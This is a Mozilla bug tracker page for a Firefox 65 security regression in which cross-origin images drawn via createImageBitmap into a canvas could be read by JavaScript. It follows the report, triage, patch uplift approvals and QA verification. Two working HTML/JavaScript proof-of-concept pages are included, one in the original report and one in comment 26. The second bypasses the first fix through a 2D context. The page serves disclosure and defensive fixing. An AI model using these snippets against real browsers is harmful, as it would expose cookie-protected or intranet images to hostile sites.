Tainted canvases can be rendered in a bitmap context
Categories
(Core :: Graphics: Canvas2D, defect)
Tracking
()
People
(Reporter: aayla.secura.1138, Assigned: baku)
References
(Regression)
Details
(4 keywords, Whiteboard: [adv-main65.0.1+][adv-esr60.7+])
Attachments
(3 files, 2 obsolete files)
640 bytes,
text/html
|
Details | |
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
47 bytes,
text/x-phabricator-request
|
RyanVM
:
approval-mozilla-beta+
RyanVM
:
approval-mozilla-release+
lizzard
:
approval-mozilla-esr60+
abillings
:
sec-approval+
|
Details | Review |
3.71 KB,
text/html
|
Details |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Steps to reproduce:
If the crossorigin attribute is not specified for an image, the image may be
rendered in a bitmap canvas; the data can be accessced by JavaScript.
A proof of concept is shown below.
<html><body>
<script charset="utf-8">
function getData() {
createImageBitmap(this, 0, 0, this.naturalWidth,
this.naturalHeight).then(function(bmap) {
var can = document.createElement('canvas');
var ctx = can.getContext('bitmaprenderer');
ctx.transferFromImageBitmap(bmap);
document.getElementById('result').textContent = can.toDataURL();
}); }
</script>
<img src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
<br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
</body></html>
Actual results:
The image, which should not be accessible to JavaScript from origins other than
https://duckduckgo.com is in fact rendered in the tainted canvas and its
base64-encoded contents are displayed.
Images on external domains protected by cookies or IP whitelisting can
therefore be stolen using Cross-site Request Forgery even if the target server
does not give CORS access to other domains.
Expected results:
An error should have been thrown similar to the error shown when rendering tainted canvases in a 2D context:
"The operation is insecure."
Reporter | ||
Comment 1•6 years ago
|
||
sorry-for-typo |
Apologies, typo in "Actual results": the image should not be accessible to origins other than https://duckduckgo.com
Comment 2•6 years ago
•
|
||
Thank you for reporting this bug, AaylaSecura. I have confirmed this to be an security problem (rated sec-high in accordance with previous canvas bugs and our Security Severity Ratings).
I have also nominated this bug for a bug bounty.
I'm moving this in the Canvas 2D component and will include people who have worked on Canvas-related Same Origin Policy bypasses in the past.
Updated•6 years ago
|
Updated•6 years ago
|
Comment 3•6 years ago
|
||
This works fine in ESR-60, or at least I don't get the image out. I don't see the expected error in the web or browser console. On Chrome you do get a URL back, but it's of the blank canvas.
Regressed sometime between 60 and 65.
Updated•6 years ago
|
Comment 4•6 years ago
|
||
Comment 5•6 years ago
|
||
Baku, I just noticed that you implemented the origin-clean algorithm for ImageBitmap.
It seems there are is a gap when using createImageBitmap()
on cross-origin <img>
elements. Can you take a look?
From a cursory glance, it seems like ImageBitmap::Create()
should inspect the parameter const ImageBitmapSource& aSrc,
whether it contains cross-origin data and then set the mWriteOnly
flag.
I have not checked whether transferFromImageBitmap()
checks the flag, so this would need to be ensured as well.
It seems there are no tests, for cross-origin tainting and ImageBitmaps. Would be great if we could have this in web-platform-tests.
Comment 6•6 years ago
|
||
Updated•6 years ago
|
Assignee | ||
Comment 7•6 years ago
|
||
Assignee | ||
Comment 8•6 years ago
|
||
Patch ready. But follow up would be to apply the spec correctly when the bitmap is not provided:
https://html.spec.whatwg.org/multipage/canvas.html#set-an-imagebitmaprenderingcontext's-output-bitmap
" If a bitmap argument was not provided, then:
Set context's bitmap mode to blank.
Let canvas be the canvas element to which context is bound.
Set context's output bitmap to be transparent black with an intrinsic width equal to the numeric value of canvas's width attribute and an intrinsic height equal to the numeric value of canvas's height attribute, those values being interpreted in CSS pixels.
Set the output bitmap's origin-clean flag to true."
Comment 9•6 years ago
|
||
Will this cover the two WebGl paths aosmond worried about in bug 1502799 comment 2? Are there tests for those?
Comment 10•6 years ago
|
||
Let's make sure we're also fixing <video>
elements.
Baku, it seems that this patch ensure we correctly propagate the taint flag (mWriteOnly) when we call transferFromImageBitmap()
, but I'm concerned that the flag isn't corretly set up when we create it with createImageBitmap()
in the first place.
Comment 11•6 years ago
|
||
Assignee | ||
Comment 12•6 years ago
|
||
Will this cover the two WebGl paths aosmond worried about in bug 1502799 comment 2? Are there tests for those?
That part is fine. As the reviewer asked, I added a check. See: https://searchfox.org/mozilla-central/rev/00c0d068ece99717bea7475f7dc07e61f7f35984/dom/canvas/WebGLTextureUpload.cpp#221-224
I have a test. I can attach it as a separate patch.
Assignee | ||
Comment 13•6 years ago
|
||
Assignee | ||
Comment 14•6 years ago
|
||
Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
Beta/Release Uplift Approval Request
Feature/Bug causing the regression
User impact if declined
Images can be read from cross-origin JS
Is this code covered by automated tests?
No
Has the fix been verified in Nightly?
No
Needs manual test from QE?
No
If yes, steps to reproduce
STR is in the description. I also submitted a separate patch with a test.
List of other uplifts needed
None
Risk to taking this patch
Low
Why is the change risky/not risky? (and alternatives if risky)
The security check was simply missing.
String changes made/needed
Assignee | ||
Comment 16•6 years ago
|
||
Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
Security Approval Request
How easily could an exploit be constructed based on the patch?
It's easy to reproduce the issue, but there are no crashes involved. No exploits are possible.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No
Which older supported branches are affected by this flaw?
65
If not all supported branches, which bug introduced the flaw?
Do you have backports for the affected branches?
No
If not, how different, hard to create, and risky will they be?
very easy.
How likely is this patch to cause regressions; how much testing does it need?
none.
Comment 17•6 years ago
|
||
Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
sec-approval+ for trunk.
Updated•6 years ago
|
Comment 18•6 years ago
|
||
Comment 19•6 years ago
|
||
Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
[Triage Comment]
Fixes a new sec issue introduced in Fx65. Approved for 66.0b7 and 65.0.1.
Comment 20•6 years ago
|
||
uplift |
https://hg.mozilla.org/releases/mozilla-beta/rev/d9a3fc93437f
https://hg.mozilla.org/releases/mozilla-release/rev/129c513995ea
Let's get QA to verify this as well until we can land the automated test.
Comment 21•6 years ago
|
||
Updated•6 years ago
|
Comment 22•6 years ago
|
||
Baku, is it possible to have unit tests for this to catch future regressions (after we ship this security fix)?
Assignee | ||
Comment 23•6 years ago
|
||
Yes, there is a separate patch with a test.
Updated•6 years ago
|
Comment 24•6 years ago
|
||
Reproduced this issue with the FF Nightly from 2019-02-08.
Verified-fixed on 66.0b7 ,65.0.1. and the latest FF Nightly 67.0a1 on Windows 10x64,macOS 10.11 and macOS 10.13.
Comment 25•6 years ago
|
||
btw, I have verified and audited that we set up the taint flag correctly in the first place, when we create an ImageBitmap from a ImageBitmapSource in the first place.
The allowed types are (Canvas bitmap renderer, canvas 2d context, other ImageBitmap, Blob, <video>
, <img>
, svg <image>
and theoretically offscreencanvas, though we do not support non-webgl contexts yet).
I think there's value in having automated tests to ensure for all supported inputs, even though I have either tested or manually verified through souce code inspections. I'm attaching my draft which is unfortunately neither mochitest nor wpt.
Updated•6 years ago
|
Reporter | ||
Comment 26•6 years ago
|
||
I found another way to get a cross-origin image. Not sure if I should open a new bug for this, since it's not related to the bitmap context, or simply rename this one: "Exporting of tainted canvases via ImageBitmap".
Basically, creating an ImageBitmap from the same image (not loaded with CORS support) and then rendering it in a 2D canvas gives JS access to the data. Quite strange, given that drawing the ImageBlob (<img> element) directly onto a 2D canvas gives an "Insecure operation"
PoC (tested on 65.0.1 after msfa2019-04 patch), almost identical to the original one for bitmap canvas:
<html><body>
<script charset="utf-8">
function getData() {
createImageBitmap(this, 0, 0, this.naturalWidth,
this.naturalHeight).then(function(bmap) {
var can = document.createElement('canvas');
// msfa2019-04 fixed this
// var ctx = can.getContext('bitmaprenderer');
// ctx.transferFromImageBitmap(bmap);
// but not this
var ctx = can.getContext('2d');
ctx.drawImage(bmap, 0, 0);
document.getElementById('result').textContent = can.toDataURL();
var img = document.getElementById('result_render');
img.src = can.toDataURL();
document.body.appendChild(img);
}); }
</script>
<img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
<br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
<br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>
Perhaps creating an ImageBitmap from a non-CORS image should be forbidden in the first place?
Updated•6 years ago
|
Comment 27•6 years ago
|
||
Filing as new. See bug 1528909.
Comment 28•6 years ago
|
||
Mind keeping me in the loop on the new bug too? TIA :)
Updated•6 years ago
|
Updated•6 years ago
|
Updated•6 years ago
|
Reporter | ||
Comment 29•6 years ago
|
||
Link to the relevant blog post, as agreed: https://research.aurainfosec.io/same-origin-policy/
Updated•6 years ago
|
Comment 30•6 years ago
|
||
I'd like to take this for ESR60.7 as well. Can you request uplift? thanks!
Assignee | ||
Comment 31•6 years ago
|
||
Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined: cross-origin image data can be exposed to content
- Fix Landed on Version: 65
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Good tests and in nightly for a while.
- String or UUID changes made by this patch: none
Comment 32•6 years ago
|
||
Comment on attachment 9042985 [details]
Bug 1526218 - transferFromImageBitmap() should propage the origin-clean state to the canvas element,
Fix for sec-high issue, OK for ESR 60.7 uplift.
Updated•6 years ago
|
Comment 33•6 years ago
|
||
uplift |
Comment 34•6 years ago
|
||
Backed out for bustage (more info in bug 1502799):
https://hg.mozilla.org/releases/mozilla-esr60/rev/9d3b9a48a91710e8bf4eb36c5181e391c7c14abe
Comment 35•6 years ago
|
||
uplift |
Updated•6 years ago
|
Updated•5 years ago
|
Updated•3 years ago
|
Updated•6 months ago
|
Description
•